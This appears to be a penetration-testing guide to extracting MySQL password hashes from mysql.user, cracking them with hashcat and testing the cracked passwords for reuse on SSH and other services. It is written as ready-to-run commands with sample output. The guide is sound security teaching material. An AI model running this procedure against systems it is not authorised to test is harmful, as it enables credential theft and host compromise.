Skip to content

MySQL Hash Extraction and Cracking

5 min read Created Mar 26, 2026 Last updated Jul 14, 2026

MySQL stores password hashes in the mysql.user system table. With sufficient privileges to read that table, all account hashes are extractable for offline cracking. mysql_native_password hashes use double SHA1 which cracks quickly with modern hardware. caching_sha2_password hashes use SHA256 which is slower but still crackable. Cracked hashes may be reused across other services on the same host or network: database administrators frequently reuse passwords across MySQL, SSH, and application accounts.

Reading mysql.user requires SELECT privilege on that table or full root access. On default installations only root and system accounts hold this privilege. On misconfigured instances, application accounts sometimes carry excessive grants. The authentication_string column holds the full hash value. Accounts with a * prefix use mysql_native_password. Accounts with a $A$ prefix use caching_sha2_password. Accounts with an empty authentication_string have no password set. Log in to those directly without cracking.

Dump All Password Hashes

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT user, host, authentication_string FROM mysql.user WHERE authentication_string != '' AND authentication_string != '*';" > /tmp/mysql-hashes-raw.txt
┌──(kali㉿kali)-[~]
└─$ cat /tmp/mysql-hashes-raw.txt
root	localhost	$A$005$Rk3K...
app_user	%	*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
backup	localhost	*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

Split Hashes by Type

Separate the hashes into files by format for the correct hashcat mode. The count output tells you what you are working with. A high count of native hashes means faster cracking sessions. A high count of SHA2 hashes means more GPU time required. Accounts with % in the host column are remotely accessible from any IP. Prioritize those accounts for cracking and reuse testing. If neither grep pattern matches a hash, the account may use an older pre-4.1 format or a custom authentication plugin. Pre-4.1 hashes are 16 hex characters without any prefix and are crackable with hashcat mode 200.

┌──(kali㉿kali)-[~]
└─$ grep -P '\t\*[A-F0-9]{40}$' /tmp/mysql-hashes-raw.txt | awk '{print $3}' > /tmp/native-hashes.txt
┌──(kali㉿kali)-[~]
└─$ grep -P '\t\$A\$' /tmp/mysql-hashes-raw.txt | awk '{print $3}' > /tmp/sha2-hashes.txt
┌──(kali㉿kali)-[~]
└─$ echo "Native password hashes: $(wc -l < /tmp/native-hashes.txt)"
┌──(kali㉿kali)-[~]
└─$ echo "SHA2 hashes: $(wc -l < /tmp/sha2-hashes.txt)"
Native password hashes: 2
SHA2 hashes: 1

Crack mysql_native_password Hashes

Mode 300 handles the double SHA1 format used by mysql_native_password. Hashcat strips the leading * automatically. Do not remove it manually before feeding hashes to hashcat. On a modern GPU these crack at billions of hashes per second. Rockyou covers most weak passwords in minutes. Add rules with best64.rule for common variations like appended numbers and capitalized first letters. If rockyou and rules both fail, try a mask attack with patterns like ?u?l?l?l?d?d?d?d for uppercase-first passwords with trailing digits. Two accounts sharing the same hash value means they share the same plaintext password.

┌──(kali㉿kali)-[~]
└─$ hashcat -m 300 /tmp/native-hashes.txt /usr/share/wordlists/rockyou.txt
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:password
Session..........: hashcat
Status...........: Cracked
┌──(kali㉿kali)-[~]
└─$ hashcat -m 300 /tmp/native-hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Crack caching_sha2_password Hashes

Mode 7401 handles the SHA256-based caching_sha2_password format. The $A$005$ prefix encodes the cost factor. Higher cost factors mean slower cracking per hash. On CPU only, SHA2 hashes crack thousands of times slower than native hashes. Use a GPU where available. Start with rockyou and rules before trying masks. If no GPU is available, focus on short passwords and common corporate patterns. Do not skip these hashes: a weak password still cracks even with the higher cost factor. MySQL 8.0 and later default to this format, so expect it on modern targets.

┌──(kali㉿kali)-[~]
└─$ hashcat -m 7401 /tmp/sha2-hashes.txt /usr/share/wordlists/rockyou.txt
┌──(kali㉿kali)-[~]
└─$ hashcat -m 7401 /tmp/sha2-hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Show Cracked Results

Running --show reads the hashcat potfile without re-running the attack. The potfile stores all previously cracked hashes on disk in ~/.local/share/hashcat/hashcat.potfile. Output format is hash:plaintext on each line. If a hash does not appear in the output it has not been cracked yet. Cross-reference the username and host from the original dump to map each plaintext to its account. The host field determines where the account can connect from and whether remote use is possible.

┌──(kali㉿kali)-[~]
└─$ hashcat -m 300 /tmp/native-hashes.txt --show
┌──(kali㉿kali)-[~]
└─$ hashcat -m 7401 /tmp/sha2-hashes.txt --show

Test Cracked Passwords Against Other Services

Database administrator passwords frequently reuse across other services. Prioritize accounts with root in the username and any account with % as the host value. Test each cracked password against:

  • SSH on the same host and other database nodes in scope
  • FTP and SMTP authentication
  • phpMyAdmin and other web-based database panels
  • Web application logins sharing the same database backend

A cracked DBA password that grants SSH root access is a full host compromise. Shared infrastructure often reuses the same MySQL root password across nodes.

┌──(kali㉿kali)-[~]
└─$ ssh $USER@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ nxc ssh $TARGET_IP -u $USER -p $PASSWORD

References